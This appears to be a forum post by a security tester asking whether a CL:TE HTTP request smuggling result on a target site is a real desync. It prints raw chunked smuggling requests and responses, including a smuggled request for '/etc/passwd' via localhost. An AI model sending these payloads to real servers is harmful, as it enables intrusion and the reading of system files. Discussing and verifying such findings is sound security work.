Today, I played a little around with a scope. It was indicated a possible CL:TE smuggle attack.
The request
POST /?cb=23748 HTTP/1.1
Transfer-Encoding: chunked
Host: www.example.tld
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 4
1
Z
0
returns a 301 reponse
HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=iso-8859-1
Location: http://www.example.tld/en.html?cb=23748
Server: Apache
Content-Length: 256
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.example.tld/en.html?cb=23748">here</a>.</p>
</body></html>
That’s ok. When you request the site with the root domain it forwards you to a specific language page like en.html or es.html. So far so good.
The added cb parameter to the forwarding url in the response got my attention.
I used Burp feature Turbo Intruder “Smuggle Attack CL:TE” without changing anything in the script pane (standard attack).
Of 15 requests, 14 returned a 301 and one returned a 302. All requests, except row 2 request, were send like the post request above. In row 2 request, payload is
...
Content-Length: 50
1
Z
0
GET /hopefully404 HTTP/1.1
X-Ignore: X
instead of
...
Content-Length: 11
1
Z
0
Row 4 request response then is
HTTP/1.1 302 Moved Temporarily
Content-Type: text/html; charset=iso-8859-1
Location: http://www.example.tld/hopefully404.html
Server: Apache
Content-Length: 221
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://www.example.tld/hopefully404.html">here</a>.</p>
</body></html>
It this just a weird web cache behaviour or can it be considered a valid HTTP desync attack? Curious about your opinion.
Additionally, when I add a payload like this
1
Z
0
GET http://localhost/etc/passwd HTTP/1.1
X-Ignore: X
then the next or after next request returns a 403 “Access denied” error instead of 302.